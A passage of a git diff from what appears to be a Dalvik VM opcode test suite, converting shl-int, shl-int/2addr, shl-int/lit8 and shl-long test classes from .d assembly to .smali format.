@@ -1,18 +0,0 @@
-.source T_shl_int_5.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali
new file mode 100644
index 0000000..86b7d41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_5.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.d
deleted file mode 100644
index 1527b6d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_6.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       shl-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali
new file mode 100644
index 0000000..d93ea00
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_6.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shl-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.d
deleted file mode 100644
index 380c8c2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_1.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali
new file mode 100644
index 0000000..02b664a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.d
deleted file mode 100644
index bb92f80..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_2.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int/2addr v7, v8
-       return v7
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali
new file mode 100644
index 0000000..0782123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v7, v8
+       return v7
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.d
deleted file mode 100644
index 7785e26..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_3.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       shl-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali
new file mode 100644
index 0000000..3ddb939
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.d
deleted file mode 100644
index 3860a02..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_4.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       shl-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali
new file mode 100644
index 0000000..c011b9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.d
deleted file mode 100644
index affe561..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_5.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int/2addr v5, v7
-       return v5
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali
new file mode 100644
index 0000000..54c18b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.d
deleted file mode 100644
index 2299e9c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2addr_6.java
-.class public dot.junit.opcodes.shl_int_2addr.d.T_shl_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FF)I
-.limit regs 8
-
-       shl-int/2addr v6, v7
-       return v6
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali
new file mode 100644
index 0000000..167c5a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shl-int/2addr v6, v7
+       return v6
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.d
deleted file mode 100644
index 8230b0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_1.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali
new file mode 100644
index 0000000..2ff9468
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.d
deleted file mode 100644
index ebcef08..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_10.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       shl-int/lit8 v0, v5, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali
new file mode 100644
index 0000000..eb4f43a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shl-int/lit8 v0, v5, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.d
deleted file mode 100644
index ab5d308..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_2.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali
new file mode 100644
index 0000000..edc7d7c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.d
deleted file mode 100644
index b7c3c3b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_3.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, -1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali
new file mode 100644
index 0000000..601bbbb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.d
deleted file mode 100644
index 3416035..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_4.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 33
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali
new file mode 100644
index 0000000..a0e3617
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 33
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.d
deleted file mode 100644
index bb0ebbd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_5.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 0
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali
new file mode 100644
index 0000000..7c78619
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 0
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.d
deleted file mode 100644
index 3e2b9d5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_6.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       shl-int/lit8 v0, v7, 1
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali
new file mode 100644
index 0000000..b622e45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.d
deleted file mode 100644
index c2a0301..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_7.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       shl-int/lit8 v0, v8, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali
new file mode 100644
index 0000000..64a27c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v8, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.d
deleted file mode 100644
index 49062a2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_8.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       shl-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali
new file mode 100644
index 0000000..48d6000
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       shl-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.d
deleted file mode 100644
index 9d91c49..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_lit8_9.java
-.class public dot.junit.opcodes.shl_int_lit8.d.T_shl_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       shl-int/lit8 v0, v6, 2
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali
new file mode 100644
index 0000000..573bab1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shl-int/lit8 v0, v6, 2
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.d
deleted file mode 100644
index 0293191..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_long_1.java
-.class public dot.junit.opcodes.shl_long.d.T_shl_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)J
-.limit regs 11
-
-       shl-long v0, v8, v10
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali
new file mode 100644
index 0000000..ee483f77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_long_1.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v8, v10
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.d
deleted file mode 100644
index 1a5fe79..0000000
